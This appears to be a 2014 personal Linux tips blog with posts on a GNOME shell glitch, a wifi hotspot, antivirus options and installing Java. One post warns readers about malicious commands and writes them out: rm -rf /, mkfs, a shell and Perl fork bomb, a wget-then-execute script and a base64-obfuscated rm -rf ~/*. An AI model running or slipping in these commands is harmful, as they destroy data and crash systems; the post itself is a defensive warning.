Saturday, 9 August 2014

Gnome favourites bar moves to the middle

Recently, I've been experiencing a problem with the gnome-shell. The gnome favourites bar moves to the middle of the screen. I think that some of you might also be having this problem.
    
An image of the misplaced favourites bar
   
            This is not a solution for that but it works temporarily. Whenever the bar moves to the middle of the screen you can do the following to get it back.

Whenever the bar moves to the middle of the screen, press ALT + F2 and type:              gnome-shell --replace

Back in position

Now the gnome-shell will restart and the favourites bar will be back in position.
0

How to setup a wifi-hotspot in Ubuntu: The terminal way.

Ubuntu has a "Use as hotspot" mode. But it creates a n ad-hoc network only.Wireless hotspots aren't same as ad hoc networks. Significant difference is there. In short, ad hoc networks aren't supported in most Android, Windows Phone and Blackberry devices (and may be iOS devices too) whereas AP mode Wi-Fi hotspots are.

              It is really simple and easy to setup a hotspot in Ubuntu. We use a tool called ap-hotspot. To install it open a terminal and type the following:

sudo add-apt-repository ppa:nilarimogard/webupd8
sudo apt-get update
sudo apt-get install ap-hotspot

             Next, to start the hotspot type the following in a terminal:
sudo ap-hotspot start

It asks you which adapter's internet you want to share, name of the network, password, etc. in an interactive manner. To stop the hotspot type the following n the terminal :
sudo ap-hotspot stop

To configure it type the following in the terminal :
sudo ap-hotspot configure


0

Wednesday, 23 July 2014

Malicious Linux commands to avoid


Warning: Don't run these commands on your machine. They can erase your valuable data or crash your machine.

It is worthwhile to have basic knowledge about malicious commands in Linux. Don't blindly run the commands instructed in websites or scripts downloaded from the internet. Just verify the contents of the script for any commands that can harm your computer.
If you want to know what a command can do use the man pages if you are offline. You can get the information of a command by typing
info <command name>
in the terminal.
Example: info sudo
If you are connected to the internet then type
man <command name>
in the terminal to get the updated documentation.
Example: man sudo
Again, the following commands can heavily damage your OS. These are extremely dangerous and should not be attempted on any computer that has any physical connection to valuable data.

1. COMMANDS THAT CAN DELETE FILES AND FOLDERS

       

rm -rf /
rm -rf .
rm -rf *


rm means remove, -f means "force" deletion (even if write protected), and -r means do it recursively, i.e. all sub folders.
rm -rf / means delete everything in the root directory and all sub folders.
rm -rf .  means delete the current directory and all sub folders.
rm -rf * means delete all files in current directory and all sub folders.
2. COMMANDS THAT CAN REFORMAT A DRIVE:
       

mkfs
mkfs.ext3
mkfs.anything

Whatever follows the mkfs command will be destroyed and replaced with a blank filesystem.
3. FORKBOMB:
  • In Bourne-ish shells (like Bash):
       
:(){:|:&};:


 
  • In Perl
       
fork while fork


 
These commands execute a huge number of processes until the system freezes, forcing a hard reset of the computer (which may cause data corruption, operating system damage).


4. TARBOMB:
This tar archive can be crafted to explode into a million files, or can inject files into the system by guessing file names. So, be careful with tar files or compressed files downloaded from the internet.


5. MALICIOUS CODE IN SHELL SCRIPTS:
       
wget http://some_address/some_file
sh ./some_file



Be careful while downloading scripts from the internet. They might contain benign or malicious code. Never execute code from people you don't trust.
6. MALICIOUS SOURCE CODE TO BE COMPILED THEN EXECUTED :
Do not compile or execute the resulting compiled code unless the source is some well-known application obtained from a reputable site.
It is easy to hide malicious code as a part of a source code.


7.BASE64 COMMANDS :
       
echo cm0gLXJmIH4vKg== | base64 -d



This is the base64 form of rm -rf ~/*
So, just be careful while executing commands or scripts.
This post isn't an exhaustive list of malicious commands. There are more malicious commands out there. So, be a command literate before you start using the command-line.
0

ANTI-VIRUS FOR LINUX



Do I need to have an anti-virus software for Linux? Isn't Linux virus free?
If it is virus free then why are some anti-virus software in the software-center? If you are an average user of Linux you might be having these questions.
So, do we really need an anti-virus software installed? The answer is 'yes' and 'no'. Don't worry after reading this post you will know if you need an anti-virus for your Linux.
There are viruses for most all platforms, they are just more common on Windows. You can actually run Windows without a virus scanner if you keep it patched and are really careful. If you are really careful and know what you are doing you can get away without a scanner. The fact of the matter is: viruses/worms take advantage of flaws or holes in the code.
There are some viruses targeted on Linux platform. Linux and other UNIX platforms are regarded are well protected, but not immune to computer viruses. It is said that Linux is not targeted because its low share market made it a less profitable target. But UNIX dominates most of the web servers, scientific workstations etc. An attacker targeting these systems would both have an extremely target-rich environment and instantly earn lasting fame. But that doesn't happen. The reason behind that is Linux is built with security in mind. Even if a security flaw is present there are thousands of eyes watching the code and people fix these flaws very quickly.
But still you might want to install an anti virus so that you might not want to spread windows viruses through your computer or you might want to scan windows partitions etc.
So let's take a look on the anti-viruses available:

CLAM AV:

Clam AV is a command-line based scanner for Linux. It is free and open-source. You can install it from the software-center. To install it from the terminal type the following :

sudo apt-get install clamav
For scanning to work, a virus database is needed. There are two options
for getting it:
clamav-freshclam: updates the database from Internet. This is
recommended with Internet access.
clamav-data: for users without Internet access. The package is
not updated once installed. The clamav-getfiles package allows
creating custom packages from an Internet-connected computer.
CLAM TK:
ClamTk is a GUI front-end for ClamAV using perl-Gtk2. To install it type the following in a terminal:

sudo apt-get install clamtk


The following anti-virus applications are useful to discover MSWindows specific threats. They can be installed by following the instructions given on their respective websites.
  • Avast
  • AVG
  • Avira
  • BitDefender
  • Comodo
  • ClamAV
  • Dr.Web
  • EScan for Linux
  • F-Prot
  • F-Secure Linux
  • Kaspersky Linux Security
  • McAfee VirusScan Enterprise for Linux
  • Panda Security for Linux
  • Symantec AntiVirus for Linux
  • Trend Micro ServerProtect for Linux
The following anti-virus applications will look for Linux specific threats:


  •  ESET
  • rkhunter
  • Sophos
  • chkrootkit
0

INSTALLING JAVA IN UBUNTU



This post explains how to install Java in Ubuntu. You can install Iced tea java (open source) or the Oracle java. Installing Iced tea java is simple where as to install Oracle java you have to struggle a little with the command line.
Let's get started. First I'll tell you how to install iced tea java and then we'll see how to install oracle java.

1. INSTALLING ICED TEA JAVA:

Open a terminal by pressing CTRL + ALT + T keys or by searching for “terminal” in dash. Type the following to installed iced tea java on your machine.

sudo apt-get install openjdk-7-jre icedtea-plugin


That should install the java run time environment and the plugin for your browser.

2. INSTALLING ORACLE JAVA:



To install oracle java you should first download the 32bit or 64bit Linux "compressed binary file" - it has a ".tar.gz" file extension. Now we need to uncompress the file. Right click on the file and select “extract here”. OR you can do it the terminal way:

tar -xvf jre-7-linux-i586.tar.gz

The package is now extracted into a folder. Now move the folder to
/usr/lib.

       
sudo mv ./jre1.7.0* /usr/lib/jvm/jre1.7.0




After that run the following to get a list of currently installed java alternatives:

       
sudo update-alternatives --config java


You will get the output as something like this:
       
There are 2 choices for the alternative java (providing /usr/bin/java).

Selection Path Priority Status
————————————————————
* 0 /usr/lib/jvm/java-6-openjdk/jre/bin/java 1061 auto mode
1 /usr/lib/jvm/java-6-openjdk/jre/bin/java 1061 manual mode
2 /usr/lib/jvm/java-6-sun/jre/bin/java 63 manual mode

Press enter to keep the current choice[*], or type selection number:





Now type the following in the terminal:

       
sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/jre1.7.0/bin/java 3






This will add your new java installation into alternatives list.
Now configure java to use oracle JRE:

       
sudo update-alternatives --config java





You will see output similar to the one below:

       
There are 3 choices for the alternative java (providing /usr/bin/java).

Selection Path Priority Status
————————————————————
* 0 /usr/lib/jvm/java-6-openjdk/jre/bin/java 1061 auto mode
1 /usr/lib/jvm/java-6-openjdk/jre/bin/java 1061 manual mode
2 /usr/lib/jvm/java-6-sun/jre/bin/java 63 manual mode
3 /usr/lib/jvm/jre1.7.0/jre/bin/java 3 manual mode

Press enter to keep the current choice[*], or type selection number: 3
update-alternatives: using /usr/lib/jvm/jre1.7.0/jre/bin/java to provide /usr/bin/java (java) in manual mode.


If there was no previous java installation then the new JRE will be the default and you will see output as:

       
There is only one alternative in link group java: /usr/lib/jvm/jre1.7.0/bin/java

Nothing to configure.




Check the version of your new java installation by typing the following in terminal:

       
java -version






It should produce an output similar to the one below:

       
java version "1.7.0_25"

Java(TM) SE Runtime Environment (build 1.7.0_25-b15)

Java HotSpot(TM) 64-Bit Server VM (build 23.25-b01, mixed mode)




INSTALLING FIREFOX JAVA PLUGIN:

In a terminal :

       
mkdir ~/.mozilla/plugins







Now remove a former version of the Java plugin (may or may not be present)
       
rm ~/.mozilla/plugins/libnpjp2.so



Now you can install the plugin, by creating a symbolic link (you tell Firefox, where the plugin is located). For 32bit java use
       
ln -s /usr/lib/jvm/jre1.7.0/lib/i386/libnpjp2.so ~/.mozilla/plugins/


For 64bit java use :

       
ln -s /usr/lib/jvm/jre1.7.0/lib/amd64/libnpjp2.so ~/.mozilla/plugins/





Finally, installation completed successfully!
0